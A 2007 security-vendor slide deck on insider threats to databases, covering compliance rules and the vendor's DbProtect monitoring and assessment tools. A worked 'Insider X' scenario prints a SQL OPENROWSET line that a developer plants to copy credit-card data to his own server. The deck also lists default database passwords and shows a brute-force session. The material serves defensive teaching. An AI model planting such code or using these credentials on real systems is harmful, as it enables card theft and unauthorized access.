



# Database Security & The Insider Threat Securing Business by Securing Database Applications

Presented by: Aaron Ingram Application Security, Inc.

## **Database Security & The Insider Threat**

# Agenda:

- Grounding Regulatory Compliance in the Database
- The Insider Threat Attacks and Countermeasures
- Database Security & Monitoring Best Practices
- Securing Databases with DbProtect
- Q&A



## **Federal Regulations Governing Data Security**

## Gramm-Leach-Bliley Act

- All about data privacy
  - Requires that financial institutions safeguard "Personally Identifiable information" (PII)
    - ......However......
  - Providing personalized service requires access to personal information
- Necessitates implementing systems and controls to provide simple but secure access to sensitive PII data
- GLBA compliance is considered a "best practice" by many retailers

## Sarbanes-Oxley Act

- All about data integrity
  - Mandates that public companies have effective controls on financial reporting data.
- Access controls
  - Segregation of duties
  - Access provided only with proper business requirement
- Audit trail
  - What changes have been made?
  - When were they made?
  - Who made them?



## **Federal Regulations Governing Data Security**

## FISMA (NIST 800-53)

- All about data security
  - Mandates that government organizations have effective controls to protect sensitive data
- Access controls
  - Segregation of duties
  - Access provided only with proper business requirement
- Audit trail
  - What changes have been made?
  - When were they made?
  - Who made them?

#### OMB Memo M-06-16

#### "Log all computer-readable data extracts from databases holding sensitive information..."

- Focused on data privacy and audit
  - Requires that organizations identify databases containing sensitive data
  - Requires auditing of reads (extracts) from those systems
  - Requires a means to determine where the data has gone
- Necessitates implementing systems and controls to ensure organizations "Trust but Verify"



## **Payment Card Industry Data Security Standard**

#### A Combination of data privacy and data integrity rules

- Access controls
- Authentication
- Audit trail
- Encryption
- Vulnerability assessment

#### Penalties are Severe

- Non-compliance fine (egregious violations up to \$500k)
- Ban from processing credit card transactions
- Increased processing fees
- Forensic investigation costs
- Disclosure / dispute resolution costs
- Issuers and Acquirers face unlimited liability

## **PCI Requirements Mandate Database Security**

Section	Description
2	Ensure default passwords are changed
3	Protect Stored Data (Encryption)
4	Protect data in transit across the network (to/from DB)
6	Develop and maintain secure systems using vulnerability assessment tools
7	Implement strong authentication, authorization, and access controls
8	Assign unique IDs and implement strong password security
10	Auditing and database security monitoring
11	Regular review of security controls and audit data



<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

## **Data is under Attack**

# Privacy Rights ClearinghousE

## **A Chronology of Data Breaches**

- http://www.privacyrights.org/ar/ChronDataBreaches.htm
- Tracking Sensitive data breaches since Feb. 2005
- **Several Hundred Incidences**
- Victims: Financial Services, Federal Gov't, Universities, Manufacturers, Health Care, Consulting & Audit Firms, etc. etc. etc.
- TOTAL number of records containing sensitive personal information involved in security breaches -

# As of this Week >166,000,000 Records



# Costs of a Breach

- In 2006 Breaches cost companies an average of \$182 per compromised record -- a 31% increase over 2005.
- Of 31 companies studied that experienced a data breach in 2006, direct costs ranged from \$1 Million to over \$22 Million source: Ponemon Institute, October 2006

 These figures do not take into account the brand damage and loss of market capitalization incurred by the companies studied. The real costs of a breach are astronomical.



# Who are Insiders? **The CISO of one of the largest banks in the world says...**

## "I define insiders in three categories

- 1. Authorized and Intelligent
  - use IT resources appropriately
- 2. Authorized and "stupid"
  - make mistakes that may appear as malicious or fraudulent.
- 3. Unauthorized and Malicious
  - mask either their identity or their behavior or both!

# The first two categories I can identify and track with identity management systems – the later, I can not!!"



## The Database "Insider Threat"

- Why is it important to understand who are the Users?
  - 70% of attacks originate on the Inside
    - Typically Difficult to detect
  - 65% of Threats go Undetected
  - 25% of Enterprises detected Security Breaches
- Do you know who they are?
- Can you monitor all database access and behavior?
- Do you know your enterprise DB vulnerability profile?
- Would you pass a Privileged User Audit?
- Is your Audit Trail Tamper Hardened? Non-repudiation?



## The Database "Insider Threat"

- Let's break it down a bit further...
  - Authorized Users
    - Employees Clerks, Accountants, Finance, Salespeople, Purchasing, etc.
  - Privileged Users
    - DBA's, DB/App Developers, Application QA, Contractors, Consultants
  - Knowledgeable Users
    - IT Op's, Network Op's, Security Personnel, Audit Personnel
  - Outsiders or Malicious User with Insider Access and/or vulnerability knowledge
    - The sophisticated "white collar" criminal

# An individual may belong to more than one group



- Buffer Overflows
- Denial of Service
- Default and Weak Passwords
- Privilege Escalation
- Misconfigurations
- SQL Injection
- Accessing Operating System Resources
- And they just keep coming.....
  - Ex. Oracle now on quarterly patch schedule



- "Insider X" is a database developer at a large retailer.
  - He is responsible for writing the code that accepts credit card information from POS terminals and writes it into a database.
- "Insider X" is addicted to adult chat rooms on the internet.
  - After spending thousands on his habit, he realizes he can't afford to continue, but he can't stop.
- "Insider X" plots to clandestinely credit card numbers from his employer's customers.
  - He'll use those credit card numbers to buy more time in the chat rooms.

- The plan is to embed malicious code into the database that processes and stores customer data.
  - He will harvest credit card data as it is being processed into the system, rather then attempting to take it after the fact.
- "Insider X" has control over the database while in development, but will have no access when it goes to production
  - His attack needs to send the data to him....and do so without getting noticed.
- "Insider X" will use an Oracle database on a development server that he owns to collect the credit card numbers.
  - He will take them home on disk and delete the records from the server every night.



- "Insider X" knows that the SQL OLE DB Provider is installed on the target database server.
  - This means he can use the OPENROWSET function to send data to his remote SQL Server database.
- His attack is a simple line of SQL code embedded into the transaction processing system:

INSERT INTO OPENROWSET('SQLOLEDB','uid=sa; pwd=qwerty; Network=DBMSSOCN; Address=192.168.10.87,1433;', 'select \* from Customers..Info') values (@FirstName, @LastName, @ccNumber, @ccType, @ccSecNumber, @ccExpDate)'



## The Attack in Detail





## "Insider X"'s Attack in progress...

	icrosoft SQL	Server Man	agement Sl	tudio								
<u>Eile Edit View Query Project Tools Window Community Help</u>												
<u>2</u> New Query   📭 👘 📆 🕞 😂 😂 🔩 🛃 🗿   📴 📑 🎉 🕾 🖕												
🖳 🛃 🙀   Customers 🔹 🕴 🛃 Execute 🗸 🖷 🎲 🕸   🔏 📅 🖷 📑 🍘 🏹 🏹   🚍 😜												
EVILPC.CustomSQLQuery3.sql* Object Explorer Details												
	SELECT *	FROM Cu	stomers.	. Info						-		
									1			
•	1									• •		
•	Results 🚹	Messages								• •		
	Results 5	Messages LastName	ссТуре	ccNumber	ccSe	cNumber	ccExpDate		1			
•	Results FirstName John	Messages LastName Simpson	ccType Visa	ccNumber 4358045098	ccSe 4355	cNumber	ccExpDate 10/10/2010					
<ul> <li>1</li> <li>2</li> </ul>	Results FirstName John Lisa	Messages LastName Simpson Simpson	ccType Visa Mastercard	ccNumber 4358045098 5609034552	ccSe 4355 9843	cNumber	ccExpDate 10/10/2010 09/08/2009		starts			
<ul> <li>↓</li> <li>↓</li></ul>	Results FirstName John Lisa Jena	Messages LastName Simpson Simpson Doe	<mark>ccType</mark> Visa Mastercard Visa	ccNumber 4358045098 5609034552 4439899746	ccSe 4355 9843 4509	cNumber	ccExpDate 10/10/2010 09/08/2009 03/03/2008		starts			
<ul> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul>	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSe 4355 9843 4509 8945	cNumber	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010		starts small			
< 1 2 3 4	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	<mark>ccType</mark> Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSe 4355 9843 4509 8945	cNumber	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010		starts small			
<ul> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul>	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774 EVILPC (9.0 S	ccSe 4355 9843 4509 8945 P2)	cNumber EVILPCV	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010	Customers	starts small	×		



## "Insider X"'s Attack in progress...

File	crosort SQL	Server Mar	agement S	tudio				_ 🗆 ×	
<u>Eile Edit View Query Project Tools Window Community Help</u>									
<u> N</u> ew Query   📭 👘 👘 👘   🕞   😂 🕬 🕵 📕 🥔   📴 📑 🎼 🌁 🔤									
EVI	LPC.Custom	SQLQuery	/3.sql* Ot	bject Explorer De	etails			• X	
	SELECT *	FROM Cu	stomers.	. Info					
								-	
-									
							1		
Besults Ba Managara									
III F	Results 🛛 🚮	Messages						<u> </u>	
<b>II</b>	Results	Messages LastName	ссТуре	ccNumber	ccSecNumber	ccExpDate			
1	Results FirstName John	Messages LastName Simpson	ccType Visa	ccNumber 4358045098	ccSecNumber 4355	ccExpDate 10/10/2010			
1 2	Results FirstName John Lisa	Messages LastName Simpson Simpson	ccType Visa Mastercard	ccNumber 4358045098 5609034552	ccSecNumber 4355 9843	ccExpDate 10/10/2010 09/08/2009	then		
1 2 3	Results FirstName John Lisa Jena	Messages LastName Simpson Simpson Doe	ccType Visa Mastercard Visa	ccNumber 4358045098 5609034552 4439899746	ccSecNumber 4355 9843 4509	ccExpDate 10/10/2010 09/08/2009 03/03/2008	then grows		
1 2 3 4	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSecNumber 4355 9843 4509 8945	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010	then grows		
1 2 3 4	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSecNumber 4355 9843 4509 8945	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010	then grows		
1 2 3 4 5 0	Results FirstName John Lisa Jena James Lata	Messages LastName Simpson Simpson Doe Pipo Cianana Successfully.	ccType Visa Mastercard Visa Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774 4350045000	ccSecNumber 4355 9843 4509 8945 4555 EVILPC\Admi	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010 10/10/2010	then grows Customers 00:00:00 (20	48 rows	



## **"Insider X"'s Attack Complete**

Mi	crosoft SQL	Server Mar	agement S	tudio					
<u>Eile Edit View Query Project Tools Window Community Help</u>									
<u>2</u> New Query   🕞 📆 📆 🔂 🔯 😅 🕬 🔩 🚽 🖉 📴 📴 🐉 🕾 🖕									
📲 📲 🙀 Customers 🔹 🖌 🖡 Execute 🖌 🔳 👯 🖦 🖌 🖄 👫 📫 🚳 🛤 🕅 🕮 👘									
EVILPC.CustomSQLQuery3.sql* Object Explorer Details + X									
	SELECT *	FROM Cu	stomers.	.Info					
									-
	Results 📑	Messages							×
	Results <b>1</b>	Messages LastName	ссТуре	ccNumber	ccSecNumber	ccExpDate	1		•
1	Results FirstName	Messages LastName Simpson	ccType Visa	ccNumber 4358045098	ccSecNumber 4355	ccExpDate 10/10/2010			
1 2	Results <b>5</b> FirstName John Lisa	Messages LastName Simpson Simpson	ccType Visa Mastercard	ccNumber 4358045098 5609034552	ccSecNumber 4355 9843	ccExpDate 10/10/2010 09/08/2009	a	nd grow	s,
1 2 3	Results <b>Fi</b> istName John Lisa Jena	Messages LastName Simpson Simpson Doe	ccType Visa Mastercard Visa	ccNumber 4358045098 5609034552 4439899746	ccSecNumber 4355 9843 4509	ccExpDate 10/10/2010 09/08/2009 03/03/2008	a	nd grow nd grow	• • • •
1 2 3 4	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSecNumber 4355 9843 4509 8945	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010	ai	nd grow	s, /s
1 2 3 4	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774	ccSecNumber 4355 9843 4509 8945	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010	ar	nd grow	s, /s
1 2 3 4 5 0	Results FirstName John Lisa Jena James	Messages LastName Simpson Simpson Doe Pipo ci successfully	ccType Visa Mastercard Visa Visa	ccNumber 4358045098 5609034552 4439899746 4298035774 4250045000 PC (9.0 SP2)	ccSecNumber 4355 9843 4509 8945 4555 EVILPC\Admin	ccExpDate 10/10/2010 09/08/2009 03/03/2008 09/10/2010 10/10/2010	Customers	nd grow nd grow	S, /S (6384 rows)

16,000+ credit card numbers.....that's about \$80M in Credit!!!



- Once the application was deployed, "Insider X" collected at least 300 credit card numbers daily
  - After some time "Insider X" had thousands of records in his own SQL Server...without being noticed by anybody
- During the next scheduled application update, "Insider X" removed the attack code from the system
  - No trace remained on the victim's SQL Server
- "Insider X"'s heist was a success
- When the attack was finally detected, it was too late to do anything about it.
  - Investigations, fines, firings, brand damage.....it was bad for everyone....except "Insider X"



<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

## **Attack Scenario: Password Cracking**

## Oracle Defaults (hundreds of them)

- User Account: internal / Password: oracle
- User Account: system / Password: manager
- User Account: sys / change\_on\_install
- User Account: dbsnmp / Password: dbsnmp
- Microsoft SQL Server Defaults
  - User Account: SA / Password: null
- Sybase Defaults
  - User Account: SA / Password: null
- MySQL Defaults
  - User Account: root / Password: null
  - User Account: admin / Password: admin
  - User Account: myusername / Password: mypassword



## **Password Attack in Progress**

ame Description connecttoservice (C:\WIND db2_bruteforce (ORA-0101 db2_getdb [C117+ying db2_getpasswd [C117+ying ORA-0101 (C117+ying ORA-0101 (C117+ying ORA-0101	DW5\system32\cmd.exe : #INTERNAL:RMAIL ': invalid username/password; logon denied : ADMIN:GL ': invalid username/password; logon denied	Se Account Brute forcer
connecttoservice ( [] Trying db2_bruteforce [ 0RA-0101 db2_getdb [] [] Trying db2_getpasswd [] 0RA-0101 emailsender [] 0RA-0101 [] 0RA-0100 [] 0RA-0100 [] 0RA-010	: #INTERNAL:RMAIL ': invalid username/password; logon denied : ADMIN:GL ': invalid username/password; logon denied	192.168.1.250 LocalNode ID(0) (selecter
db2_getdb [[]]Trying db2_getpasswd [ emailsender <u>[]</u> Trying ORe_0101	∫: ADMIN:GL ': invalid username∕password; logon denied	192.168.1.250 LocalNode ID(0) (selecte
emailsender [] Trying		Connected Nodes
find_null_vnc F	: #INTERNAL:RMAN ': invalid username/password; logon denied	Knowledge Host: 127.0.0.1
ids_bruteforce [ 0RA-0101	: ADMIN:GMA ': invalid username/password; logon denied	Host: 192.168.1.225 (current target)
ora_getdb [ ORA-0101 oraclegetinfo ( [] Trying oraclegetinfo ( [] Trying oraclegetpwd (	: #INTERNAL:RRS ': invalid username/password; logon denied : ADMIN:GMD ': invalid username/password; logon denied	Interfaces
oraclegetuser (CI Trying oraclient CI Trying Coraclient CI Trying ORA-0101	: #INTERNAL:SAMPLE ': invalid username/password; logon denied (: ADMIN:GME /: invalid username/password; logon denied	
ning [Argeniss] Oracle [] Trying	: ADMIN:GMF	<b>•</b>
CANVAS Exploit [2]: BI		
CANVAS Exploit [2]: Starting 5 thread	S	
CANVAS Exploit [2]:(x) Found: SCOT	CANVAS Exploit [2]	Found: SCOTT:TIGER



## **Next Steps: Privilege Escalation**

Connected.





23

C:\WINNT\system32\cmd.e	exe - sqlplus "scott/tiger@orcl"		
QS_ADM QS QS_WS QS_ES QS_OS QS_CB QS_CB QS_CB QS_CS 30 rows_selected	991CDDAD5C5C32CA 8809C6075BDF2DC4 24ACF617DD7D8F2F E6A6FA4BB042E3C2 FF09F3EB14AE5C26 7C632AFB71F8D305 CF9CFACF5AE24964 91A00922D8C0F146		
COIL coloct * from co	lauico		
NAME	laries,	AMOUNT	
John Smith Jess Tim Vivi Losa Tim Locky			
		85,5,40	+



## How Do You Stop the Malicious Insider?

#### Apply the vulnerability management lifecycle...



APPLICATION SECURITY, INC.

## **Database Security Best Practices**

#### Vulnerability Assessment

- Discover what you have to build an updated inventory
- Regularly assess your databases for known vulnerabilities
- Patch and reconfigure based on value and risk
- Database Activity Monitoring
  - Alert in real-time against attempted exploits
  - Alert in real time against any other suspicious or unusual access
  - Determine who accessed which systems, when, and how
  - Determine what they did (both users and administrators)
  - Understand where the threat / risk originates and deploy the appropriate solution to defend against such threats
- Change Auditing
  - Establish a baseline policy for database configuration, schema, users, privileges and structure – and then track deviations from that baseline
- Selective, Column-Level Encryption



## **Assess: Discover all your databases**

-Discovery Template		] - Detwork
Name: CaliforniaOracle		
JP Range	Load Ps and Ports iron 1 a	
Hostnamer		□ □ □ □ DB2 8.1
From: 192.168.1.101	art IP 224 12 Renove	📕 🛄 DB2 Database
To: 192,168,1,102	1200.1.100 192.168.1.200	💷 🗌 💼 Lotus Domino
		🗐 🗌 🧰 MSDE 2000
O Trabala Casas	syt TD But TD Turned	🖳 🗌 🔂 Microsoft SQL Server
Fuch de Danas	.168.1.101 192.168.1.112	🗄 🗌 🧰 Microsoft SOL Server 2000
Crude Karge		🗄 🗌 🧰 Microsoft, SOL Server 2005
		H
-Port Range		
Use Default Ports	Lise Responsive Port Check	oracielog bacabase
21	art Range And Dange Renold	
From:		
To:		
44		
-Select Applications	jonino 📝 (racia	
HTTP web servers	O di Conportents	
DBM CB2 for Mainframe	Sybuss Abathve Estver Entertrist	
Investore MSQL		
TIRM DB2 Universal Decouded	Depth in the second s	



## **Prioritize: Analyze Risk**

Neur Audit 7		Vulnerabili	ties By Risk Level
- Trovi would Template		High	(3/14) 21%
Neme: California A	Set Prov	Medium	(2/14) 14%
cuir on raciewydi;	Select Policy: ALDCT:Oracle - 61 Character	Low	(9/14) 64%
	ALDIT: Aud: Integrity (Eutor)	Informational	(0/14) 0%
etwork View Filter	ALDIT:Base Line (Bult-in) ALDIT:Denload 4.dt (B., It-in)	Total Number of Appli	ications by Application Type
Sort By: O IP O Hostname O Port 💿 Application	ALDIT: Operating System (Bult-in)	Microsoft SOL Server 2000	(12/15) 80%
Thetwork	ALDIT:Oracle and DB2 - All Checks	Microsoft SOL Server	(2/15) 13%
DB2 9.2	ALDIT:Strict (Bull-in)	MSDE 2000	(1/15) 7%
1 DB2 Database			
INSDE 2000		Average Number Vulne	rabilities by Application Type
🕀 🗌 🔁 Microsoft SOL Server			
		MSDE 2000	(5/7) 71%
Nicrosoft SQL Server 2000		MSDE 2000	(5/7) 71%
Microsoft SQL Server 2000     Microsoft SQL Server 2005     Microsoft SQL Server 2005     Oracle Database		MSDE 2000	(5/7) 71%
Microsoft SQL Server 2000     Microsoft SQL Server 2005     Microsoft SQL Server 2005     Oracle Database     Oraclelog Database		MSDE 2000	(5/7) 71%
Nicrosoft SQL Server 2000     Nicrosoft SQL Server 2005     Oracle Database     Oracle10g Database     Oracle7 Database		MSDE 2000	(5/7) 71%
Nicrosoft SQI Server 2000     Nicrosoft SQI Server 2005     Oracle Database     Oracle100 Database     Oracle7 Database     Oracle8 Database     Oracle8 Database     Oracle8 Database		MSDE 2000	(5/7) 71%
Hicrosoft SQI Server 2000     Microsoft SQI Server 2005     Oracle Database     OraclelOg Database     OracleS Database		MSDE 2000	(5/7) 71%
Nicrosoft SQL Server 2000     Nicrosoft SQL Server 2005     Oracle Database     Oracle10g Database     Oracle10g Database     Oracle51 Database		MSDE 2000 Risk Level X High	(5/7) 71%
Microsoft SQL Server 2000     Microsoft SQL Server 2005     Oracle Database     Oracle10g Database     Oracle7 Database     Oracle81 Database     Ora	s : 192.168.1.136 - 1521 (dev950).	MSDE 2000 Risk Level High High	(5/7) 71%           Vulnerability           srv_paraminfo buffer overflow in xp_showcolv           srv_paraminfo buffer overflow in xp_updatecolvbm
Microsoft SQL Server 2000     Microsoft SQL Server 2005     Microsoft SQL Server 2005     Oracle Database     Oracle10g Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle31 Database	■ : 132.168 1.136 : 1521 (dev220)	MSDE 2000 Risk Level S High High High High	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dirtree buffer overflow
Hisrosoft SQL Server 2000     Microsoft SQL Server 2005     Oracle Database     Oracle10g Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle21 Database     Oracle31 Database     Oracle32 Database     Or	192.168 1.136 1 1521 (dev220)	MSDE 2000 Risk Level S High S High S High S High High High High	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dirtree buffer overflow xp_mergelineages buffer overflow
<ul> <li>Hicrosoft SQI Server 2000</li> <li>Hicrosoft SQI Server 2005</li> <li>Oracle Database</li> <li>Oracle10g Database</li> <li>Oracle27 Database</li> <li>Oracle31 Database</li> <li>Oracle31 Database</li> <li>Oracle31 Database</li> <li>Intra 102 (1000)</li> <li>Intra 1000 (1000)</li> <li>Sybase 11.0 Database</li> <li>Sybase 12.5 Database</li> </ul>	192.168.1.106 : 1821 (dei 920)	MSDE 2000 Risk Level High High High High High High High	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dittree buffer overflow xp_mergelineages buffer overflow xp_proxiedmetadata buffer overflow
<ul> <li>Hicrosoft SQI Server 2000</li> <li>Hicrosoft SQI Server 2005</li> <li>Oracle Database</li> <li>Oracle10g Database</li> <li>Oracle21 Database</li> <li>Oracle21 Database</li> <li>Oracle21 Database</li> <li>Oracle31 Database</li> <li>Oracle32 Database</li> </ul>	• : 192.168.1.106 : 1821 (dev320)	MSDE 2000 Risk Level ⊗ High ⊗ High ⊗ High ⊗ High ⊗ High ⊗ High ⊗ High Medium	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dittree buffer overflow xp_mergelineages buffer overflow xp_proxiedmetadata buffer overflow Buffer overflow in LPC
<ul> <li>Hicrosoft SQI Server 2000</li> <li>Hicrosoft SQI Server 2005</li> <li>Oracle Database</li> <li>Oracle10g Database</li> <li>Oracle51 Database</li> </ul>	• : 192.168.1.136 : 1821 (dev300)	MSDE 2000 Risk Level S High High High High High High Medium Medium	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dirtree buffer overflow xp_mergelineages buffer overflow xp_proxiedmetadata buffer overflow Buffer overflow in LPC Database ownership chaining patch not installed
<ul> <li>Bicrosoft SQL Server 2000</li> <li>Bicrosoft SQL Server 2005</li> <li>Oracle Database</li> <li>Oracle10g Database</li> <li>Oracle51 Database</li> &lt;</ul>	5 : 192.168 1.136 : 1821 (dev/200*	MSDE 2000 Risk Level S High High High High High High Medium Medium Medium	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dirtree buffer overflow xp_mergelineages buffer overflow xp_proxiedmetadata buffer overflow Buffer overflow in LPC Database ownership chaining patch not installed Named Pipe Hijacking
<ul> <li>Hicrosoft SQI Server 2000</li> <li>Hicrosoft SQI Server 2005</li> <li>Oracle Database</li> <li>Oracle7 Database</li> <li>Oracle7 Database</li> <li>Oracle51 Database</li> <li>Sybase 11.0 Database</li> <li>Sybase 12.5 Database</li> </ul>	* : 192.160 1.106 : 1521 (dev/200) Save Resat Carce	MSDE 2000 Risk Level High High High High High Medium Medium Medium Redium Redium Redium Redium	(5/7) 71% Vulnerability srv_paraminfo buffer overflow in xp_showcolv srv_paraminfo buffer overflow in xp_updatecolvbm xp_dirtree buffer overflow xp_mergelineages buffer overflow xp_proxiedmetadata buffer overflow Buffer overflow in LPC Database ownership chaining patch not installed Named Pipe Hijacking BULK INSERT buffer overflow



## Fix

# Assess Fix Monitor

## Patch to limit exposure to known vulnerabilities

Critical Detail to			
Critical Patch Update	MetaLink Note ID	Latest Version/Date	K
Critical Retable Logist Contract 2007	4033351	Rev 1, 13 January 2003	
Ondical Platen Opdate - October 2006	3315581	Rev 3, 22 No+ember 2006	
Critical Patch Update - July 2008	3729271	Rev 1, 13 Ju - 2018	
Critical Patch Update - April 2006			
Critical Patch Update - January 2006			Oracle
Critical Patch Update - October 2005	33:8531	Ref 2, 15 December 2015	
Critical Patch Update - July 2005	3110341	Rev 1, 12 Ju + 2005	
e vis et Bretek Lindete April 2005	3010401	Rev 2, 13 April 2005	
Critical Patch Update - January 2005	2359531	Rev 2, 15 March 2005	

## Remediate misconfigurations

- Generate Fix-scripts
  - -- The following statement is to fix a vulnerability within the following check:
  - -- srv\_paraminfo buffer overflow in xp\_peekqueue
  - USE master
  - GO

REVOKE EXECUTE ON master.dbo.xp\_peekqueue FROM public GO

# Identify and change default & weak passwords



#### **Monitor: Database Activity**

Alert potential security issues, log routine business transactions





## **DbProtect: Preventing the "Insider X" Attack**

## AppDetective

- Discover unauthorized databases
- Configure secure settings
  - Disable OLE DB Ad-hoc queries

# AppRadar

- Monitor changes to stored procedures
  - Log the change and who made it
- Detect use of sensitive and powerful functions
  - OPENROWSET



#### **DbProtect AppDetective: Discover the Unauthorized DB**

AppDetective - Session #96	
Session Run Edit View Help	
🖹 🍃 🛤 🗹 🔂 🖏 🤯 New Open Discover Policy PenTest Audit Reports Upda	ate Schedule Fix
Network     Application Banners	
☐	Value
I InstanceName	MSSQLSERVER
Microsoft SQL Server Bedirector (1 2 IsClustered	No
	\/XP-BBQ\pipe\sql\query
4 ServerName	XP-BBQ
	1433
	8.00.194
Details Vulnerability Description Gra	phs
Risk Level Vulnerability IP Address	Port Application Details
<u>×</u>	>
	Audit Policy: Base Line (Built-in) Pen Test Policy: Evaluation (Built-in)



#### **DbProtect AppDetective: OLE DB Queries Allowed**

🔺 AppDet	tective - Se	ssion	#96														X
Session Rur	n Edit View I	Help															
New O	🗲 🙌 pen Discover	☑ Policy	Pen Test	Audit	Neports	₩ Update	C. Schei	<b>)</b> dule	<b>§</b> Fix								
	168.3.130 1433			Title	OLED	)B ad hoc	queries	allowe	d								~
	Hicrosoft SQL S Microsoft SQL Serve	erver 2000 er Redirecto	(M: r (1 F	Risk Leve	a 🔥 M	edium											illi.
			CVE	Referen	ce# CVE-N	NO-MATCH	4										
			D	escriptio	n Found	d an OLED	)B provi	der tha	t is not o	disabled.							
				Summary	Micros stater unsaf hoc O	soft SQL S ments on e 'e Visual B LEDB que	erver p external asic for eries.	rovides data s Applica	functior ources. ation fur	ns that allow This feature nctions. This f	users to que can be used feature shou	ery data an to mount IId be disa	d execut attacks a abled by (	ie and to run disabling	ad		
				Overview	Micros stater	soft SQL S ments on e	erver p external	rovides data so	two fun ources.	ctions that all These function	ow users to ons are OPE	query data NROWSE	a and exe T and	ecute			~
<	Ш		> Details	Vulnerab	ility Descriptio	on Graphs	J										
Risk Level		Vulne	rability		IP /	Address	Port			Application					Deta	ils -	~
🔥 Medium	Guest user exists ir	n database			192.16	8.3.130	1433	Microso	it SQL Se	erver 2000 (MS	SQLSERVER	) (Database	=Northwin	nd)			
Medium	OLEDB ad hoc qu	eries allowe	d		192.16	8.3.130	1433	Microso	it SQL Se	erver 2000 (MS	SQLSERVER	) (Provider=!	SQLOLED	)B)		1	_
🚹 Medium	SQL Agent proced	ures grante	d to public		192.16	8.3.130	1433	Microso	t SQL Se	erver 2000 (MS	SQLSERVER	) (Object=db	oo.msdb.sj	p_get_sqla	gent_properties)	(Grar	
2 Low	BUILTINVAdministr	ators not re	moved		192.16	8.3.130	1433	Microso	it SQL Se	erver 2000 (MS	SQLSERVER	)				1	~
<						ш										>	
Found 70 vulner	abilities, for the session	on (included	2 applications	s)				Audit Po	licy: Bas	e Line (Built-in)	Pen Test Polic	cy: Eivaluatio	on (Built-in	1)			1



#### **DbProtect AppRadar: Use of ALTER PROCEDURE**

AI SE	\PPLICATION ECURITY, INC. Username: xp-bbg\administrator [Logout] (Admin User)											
	Home	Ale	erts	Dashboard	Repo	rts	Policies	Filters	Sensors	System		
A	lerts	Archive	1				onsole - Application 9	ecurity Inc Micros	soft Internet Explorer			
	Refresh			Start 10 sec(s)		SECURITY	Y, INC.					
Ins	stance	Ru	le Title	Login/User Name		Archive	Acknowledge	Create Ex	contion			
a	ıy	💌 ar	ny	💌 🔤	•	Archive	Acknowledge					
Se	arch in SQ	L Te×t				Alert ID:	3052					
						Database Type:	Microsoft SQL Ser	ver 2000 (Host-ba	ased Sensor)			
Dis	playing 13	of 3051 alerts				Instance Alias:	Backend MS SQL					
	- Alert	Instance		Rule Title		Context:	master					
	ID	Alias				Rule Title:	ALTER PROCEDUR	E				
	3052	Backend MS SQL		ALTER PROCEDURE		Time:	4/16/07 10:56:39	PM EDT				
	3051	Backend MS SQL		ALTER PROCEDURE		Login/User Name:	Hamburglar					
	3050	Backend MS SQL		ALTER PROCEDURE		Network User:	n/a					
	3049	Backend MS SQL		SAM database in registry acce		Source of	XP-BBO					
	3048	Backend MS SQL		SQL injection in sp_MSdropret		Event:			)vdev]			
	3047	Backend MS SQL		Generic use of xp_cmdshell			(@FirstName vard @ccNumber varch	har, @Last Name ar, @ccExpDate d	varchar, atetime.			
	3046	Backend MS SQL		Read sensitive OS files			@ccType v archar	, @ccSecNumber v	(archar)			
	3045	Backend MS SQL		xp_proxiedmetadata buffer ove.			INSERT INT O cus (FirstName.LastN	tomersinfo ame.ccNumber.ccB	xpDate.ccSec Number)			
	3044	Backend MS SQL		xp_oledbinfo buffer overflow		SQL Text:	VALUES (@FirstNa cSecNumber)	ame,@LastName,@	<pre>@ccNumber,@ccExpDate,</pre>	@c		
	3043	Backend MS SQL		xp_dsninfo buffer overflow			INSERT INTO OPE rty;Network=DBM	NROWSET('SQLOL SSOCN;Address=	EDB','uid=sa;pwd=qwe 192.168.3.130,1433;',			
